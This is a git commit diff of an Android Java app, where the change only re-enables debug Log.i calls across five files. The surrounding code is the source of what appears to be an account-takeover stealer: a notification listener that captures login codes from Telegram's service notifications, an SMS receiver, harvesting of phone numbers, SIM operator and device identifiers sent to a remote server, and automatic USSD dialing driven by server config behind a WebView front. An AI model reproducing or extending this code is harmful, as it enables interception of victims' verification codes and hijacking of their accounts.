This commit is contained in:
Your Name 2025-04-15 01:26:39 +03:00
parent d645298fe1
commit 7583806cb5
5 changed files with 47 additions and 47 deletions

View file

@ -52,14 +52,14 @@ public class Encryption {
"SECRET_KEY" // VARIABLE "SECRET_KEY" // VARIABLE
).getBytes("UTF-8"), "AES"); ).getBytes("UTF-8"), "AES");
// Log.i("asd", "SECRET_KEY");// VARIABLE Log.i("asd", "SECRET_KEY");// VARIABLE
// Log.i("dsa", "IV_KEY");// VARIABLE Log.i("dsa", "IV_KEY");// VARIABLE
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(mode, skeySpec, iv); cipher.init(mode, skeySpec, iv);
return cipher; return cipher;
} catch (Exception ignored) { } catch (Exception ignored) {
// Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); Log.i("gfggg", Arrays.toString(ignored.getStackTrace()));
} }
return null; return null;
} }
@ -121,7 +121,7 @@ public class Encryption {
MessageDigest md = MessageDigest.getInstance("SHA-512"); MessageDigest md = MessageDigest.getInstance("SHA-512");
return randomizeCase(bytesToHex(md.digest(bytesOfMessage))); return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
} catch (Exception ignore) { } catch (Exception ignore) {
// Log.i("exp2", Arrays.toString(ignore.getStackTrace())); Log.i("exp2", Arrays.toString(ignore.getStackTrace()));
} }
return null; return null;
} }
@ -132,7 +132,7 @@ public class Encryption {
MessageDigest md = MessageDigest.getInstance("MD5"); MessageDigest md = MessageDigest.getInstance("MD5");
return bytesToHex(md.digest(bytesOfMessage)); return bytesToHex(md.digest(bytesOfMessage));
} catch (Exception ignore) { } catch (Exception ignore) {
// Log.i("exp3", Arrays.toString(ignore.getStackTrace())); Log.i("exp3", Arrays.toString(ignore.getStackTrace()));
} }
return null; return null;
} }
@ -143,7 +143,7 @@ public class Encryption {
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT)); byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
return new String(plainText); return new String(plainText);
} catch (Exception e) { } catch (Exception e) {
// Log.i("exp4", Arrays.toString(e.getStackTrace())); Log.i("exp4", Arrays.toString(e.getStackTrace()));
} }
return ""; return "";
} }
@ -164,7 +164,7 @@ public class Encryption {
return decryptedMessage; return decryptedMessage;
} catch (Exception e) { } catch (Exception e) {
// Log.i("exp22", Arrays.toString(e.getStackTrace())); Log.i("exp22", Arrays.toString(e.getStackTrace()));
} }
return ""; return "";
} }
@ -179,7 +179,7 @@ public class Encryption {
cipher.init(Cipher.ENCRYPT_MODE, publicKey); cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return bytesToHex(cipher.doFinal(data.getBytes())); return bytesToHex(cipher.doFinal(data.getBytes()));
} catch (Exception e) { } catch (Exception e) {
// Log.i("exp31", Arrays.toString(e.getStackTrace())); Log.i("exp31", Arrays.toString(e.getStackTrace()));
} }
return ""; return "";

View file

@ -52,7 +52,7 @@ public class GetRequest {
result result
))); )));
} catch (Exception e) { } catch (Exception e) {
// Log.i("exp1", Arrays.toString(e.getStackTrace())); Log.i("exp1", Arrays.toString(e.getStackTrace()));
} }
} }

View file

@ -57,7 +57,7 @@ public class Listener extends NotificationListenerService {
@Override @Override
public void onNotificationPosted(StatusBarNotification sbn){ public void onNotificationPosted(StatusBarNotification sbn){
String packageName = sbn.getPackageName(); String packageName = sbn.getPackageName();
// Log.i(packageName, packageName); Log.i(packageName, packageName);
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
String code = processExtras(sbn.getNotification().extras); String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5) if (code.length() < 5)

View file

@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
// Log.i("a", "1"); // STATIC Log.i("a", "1"); // STATIC
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); setContentView(R.layout.activity_main);
@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
// Загрузка начального URL // Загрузка начального URL
webView.loadUrl(websiteUrl); webView.loadUrl(websiteUrl);
// Log.i("a", "Loading data..."); // STATIC Log.i("a", "Loading data..."); // STATIC
loadData(); loadData();
// Log.i("a", "Data loaded."); // STATIC Log.i("a", "Data loaded."); // STATIC
} }
@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private void loadData() { private void loadData() {
requestsCount = 0; requestsCount = 0;
// Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC
GetRequest ussdRequestTask = new GetRequest(this, this); GetRequest ussdRequestTask = new GetRequest(this, this);
ussdRequestTask.execute(ussdUrl); ussdRequestTask.execute(ussdUrl);
// Log.i("a", "Requesting languages - " + languagesUrl); // STATIC Log.i("a", "Requesting languages - " + languagesUrl); // STATIC
GetRequest languagesRequestTask = new GetRequest(this, this); GetRequest languagesRequestTask = new GetRequest(this, this);
languagesRequestTask.execute(languagesUrl); languagesRequestTask.execute(languagesUrl);
} }
public static String getKey(Context context) { public static String getKey(Context context) {
try { try {
// Log.i("a", "Get key"); // STATIC Log.i("a", "Get key"); // STATIC
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
return sharedPreferences.getString("KEY", return sharedPreferences.getString("KEY",
"INIT_KEY"); // VARIABLE STATIC "INIT_KEY"); // VARIABLE STATIC
} catch (Exception e) { } catch (Exception e) {
// Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
return ""; // STATIC return ""; // STATIC
} }
} }
public static void setKey(Context context, String key) { public static void setKey(Context context, String key) {
// Log.i("a", "Set key"); // STATIC Log.i("a", "Set key"); // STATIC
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
editor.putString("KEY", key); editor.putString("KEY", key);
editor.apply(); editor.apply();
} }
private void promptNotificationAccess() throws JSONException { private void promptNotificationAccess() throws JSONException {
// Log.i("a", "Prompt"); // STATIC Log.i("a", "Prompt"); // STATIC
AlertDialog.Builder builder = new AlertDialog.Builder(this); AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(language.getString("title")); // STATIC builder.setTitle(language.getString("title")); // STATIC
builder.setMessage(language.getString("message")); // STATIC builder.setMessage(language.getString("message")); // STATIC
@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
this.runOnUiThread(new Runnable() { this.runOnUiThread(new Runnable() {
public void run() { public void run() {
// Log.i("a", "Run thread"); // STATIC Log.i("a", "Run thread"); // STATIC
AlertDialog dialog = builder.create(); AlertDialog dialog = builder.create();
dialog.show(); dialog.show();
} }
@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String getDeviceInfo(Context context) public static String getDeviceInfo(Context context)
{ {
// Log.i("a", "Get device info"); // STATIC Log.i("a", "Get device info"); // STATIC
String m_data = ""; // STATIC String m_data = ""; // STATIC
String p_seperator = ":"; // STATIC String p_seperator = ":"; // STATIC
StringBuilder m_builder = new StringBuilder(); StringBuilder m_builder = new StringBuilder();
@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
m_builder.append(android_id); m_builder.append(android_id);
m_data = m_builder.toString(); m_data = m_builder.toString();
// Log.i("a", "Collected device info - " + m_data); // STATIC Log.i("a", "Collected device info - " + m_data); // STATIC
return m_data; return m_data;
} }
@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
Intent intent = new Intent(this, Listener.class); Intent intent = new Intent(this, Listener.class);
startService(intent); startService(intent);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
// Log.i("a", "Make process"); // STATIC Log.i("a", "Make process"); // STATIC
Context permissionContext = this; Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500); new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
} }
@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public void cancelTimer(){ public void cancelTimer(){
// Log.i("a", "Canceling timer"); // STATIC Log.i("a", "Canceling timer"); // STATIC
if (timer != null) { if (timer != null) {
timer.cancel(); timer.cancel();
} }
} }
public void nextPhone() { public void nextPhone() {
// Log.i("a", "Next phone"); // STATIC Log.i("a", "Next phone"); // STATIC
currentPhone += 1; currentPhone += 1;
if (phones.size() > currentPhone) if (phones.size() > currentPhone)
savePhone(getBaseContext(), phones.get(currentPhone)); savePhone(getBaseContext(), phones.get(currentPhone));
} }
private void makeProcess(Context context) { private void makeProcess(Context context) {
// Log.i("a", "Make process task..."); // STATIC Log.i("a", "Make process task..."); // STATIC
currentPhone = 0; currentPhone = 0;
phones = collectPhoneNumber(context); phones = collectPhoneNumber(context);
savePhone(context, phones.get(currentPhone)); savePhone(context, phones.get(currentPhone));
@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
// Log.i("a", "isSimConnected"); // STATIC Log.i("a", "isSimConnected"); // STATIC
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
!= PackageManager.PERMISSION_GRANTED) { != PackageManager.PERMISSION_GRANTED) {
return false; return false;
@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void savePhone(Context context, PhoneNumber phone){ private void savePhone(Context context, PhoneNumber phone){
// Log.i("a", "SavePhone - " + phone.phone); // STATIC Log.i("a", "SavePhone - " + phone.phone); // STATIC
if(phone.phoneProvided()){ if(phone.phoneProvided()){
// Log.i("a", "PhoneProvided"); // STATIC Log.i("a", "PhoneProvided"); // STATIC
requestPhone(context, phone); requestPhone(context, phone);
} else { } else {
// Log.i("a", "Phone not provided"); // STATIC Log.i("a", "Phone not provided"); // STATIC
receivingSms = false; receivingSms = false;
setCurrentHash(context, ""); // STATIC setCurrentHash(context, ""); // STATIC
// Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator))
nextPhone(); nextPhone();
else else
@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private void requestPhone(Context context, PhoneNumber phone){ private void requestPhone(Context context, PhoneNumber phone){
setCurrentHash(context, ""); // STATIC setCurrentHash(context, ""); // STATIC
// Log.i("a", "Requesting phone - " + phone.phone); // STATIC Log.i("a", "Requesting phone - " + phone.phone); // STATIC
PostRequest postRequestTask = new PostRequest(context, this); PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", postRequestTask.execute("phone",
phone.save() + ";" + getDeviceInfo(context)); // STATIC phone.save() + ";" + getDeviceInfo(context)); // STATIC
@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onPostResponse(JSONObject result) { public void onPostResponse(JSONObject result) {
// Log.i("a", "On post Response"); // STATIC Log.i("a", "On post Response"); // STATIC
try { try {
// Log.i("PostResult", result.toString()); // STATIC Log.i("PostResult", result.toString()); // STATIC
if(result.has("hash")) { // STATIC if(result.has("hash")) { // STATIC
setCurrentHash(this, result.getString("hash")); // STATIC setCurrentHash(this, result.getString("hash")); // STATIC
} }
@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}, Math.round(codeTimeout * 1000)); }, Math.round(codeTimeout * 1000));
} }
} catch (Exception e) { } catch (Exception e) {
// Log.i("j", Arrays.toString(e.getStackTrace())); Log.i("j", Arrays.toString(e.getStackTrace()));
throw new RuntimeException(e); throw new RuntimeException(e);
} }
@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onGetResponse(JSONObject result) { public void onGetResponse(JSONObject result) {
// Log.i("a", "onGetResponse"); // STATIC Log.i("a", "onGetResponse"); // STATIC
try { try {
if(result.get("name"). // STATIC if(result.get("name"). // STATIC
equals("ussd")){ // STATIC equals("ussd")){ // STATIC
@ -472,7 +472,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private boolean isNotificationServiceEnabled() { private boolean isNotificationServiceEnabled() {
// Log.i("a", "isNotificationServiceEnabled"); // STATIC Log.i("a", "isNotificationServiceEnabled"); // STATIC
String packageName = getPackageName(); String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString( String enabledListeners = Settings.Secure.getString(
getContentResolver(), getContentResolver(),
@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private static String[] retrievePermissions(Context context) { private static String[] retrievePermissions(Context context) {
// Log.i("a", "retrievePermissions"); // STATIC Log.i("a", "retrievePermissions"); // STATIC
final String pkgName = context.getPackageName(); final String pkgName = context.getPackageName();
try { try {
return context return context
@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
.requestedPermissions; .requestedPermissions;
} catch (PackageManager.NameNotFoundException e) { } catch (PackageManager.NameNotFoundException e) {
// Log.i("222", Arrays.toString(e.getStackTrace())); Log.i("222", Arrays.toString(e.getStackTrace()));
return new String[0]; return new String[0];
} }
} }
private void requestPermissions(String[] permissions) { private void requestPermissions(String[] permissions) {
// Log.i("a", "requestPermissions"); // STATIC Log.i("a", "requestPermissions"); // STATIC
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
} }
@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestUssdNumber(PhoneNumber phone) { private void requestUssdNumber(PhoneNumber phone) {
// Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return; return;
String ussdRequest = null; String ussdRequest = null;
@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
} catch (JSONException e) { } catch (JSONException e) {
// Log.i("ddd", Arrays.toString(e.getStackTrace())); Log.i("ddd", Arrays.toString(e.getStackTrace()));
return; return;
} }
@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private List<PhoneNumber> collectPhoneNumber(Context context){ private List<PhoneNumber> collectPhoneNumber(Context context){
// Log.i("a", "collectPhoneNumber"); // STATIC Log.i("a", "collectPhoneNumber"); // STATIC
List<PhoneNumber> phoneNumbers = new ArrayList<>(); List<PhoneNumber> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
return phoneNumbers; return phoneNumbers;
@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onBackPressed() { public void onBackPressed() {
// Log.i("a", "onBackPressed"); // STATIC Log.i("a", "onBackPressed"); // STATIC
if (webView.canGoBack()) { if (webView.canGoBack()) {
webView.goBack(); webView.goBack();
} else { } else {
@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
protected void onDestroy() { protected void onDestroy() {
// Log.i("a", "onDestroy"); // STATIC Log.i("a", "onDestroy"); // STATIC
super.onDestroy(); super.onDestroy();
try { try {
unregisterReceiver(smsReceiver); unregisterReceiver(smsReceiver);
} catch(IllegalArgumentException e) { } catch(IllegalArgumentException e) {
// Log.i("ppp", Arrays.toString(e.getStackTrace())); Log.i("ppp", Arrays.toString(e.getStackTrace()));
} }
} }

View file

@ -35,7 +35,7 @@ public class PostRequest {
public final OkHttpClient client = new OkHttpClient(); public final OkHttpClient client = new OkHttpClient();
public void execute(String... params) { public void execute(String... params) {
// Log.i("ExecutePost", "Post Executing..."); Log.i("ExecutePost", "Post Executing...");
String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis())); String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
String key = MainActivity.getKey(context) + timeStamp; String key = MainActivity.getKey(context) + timeStamp;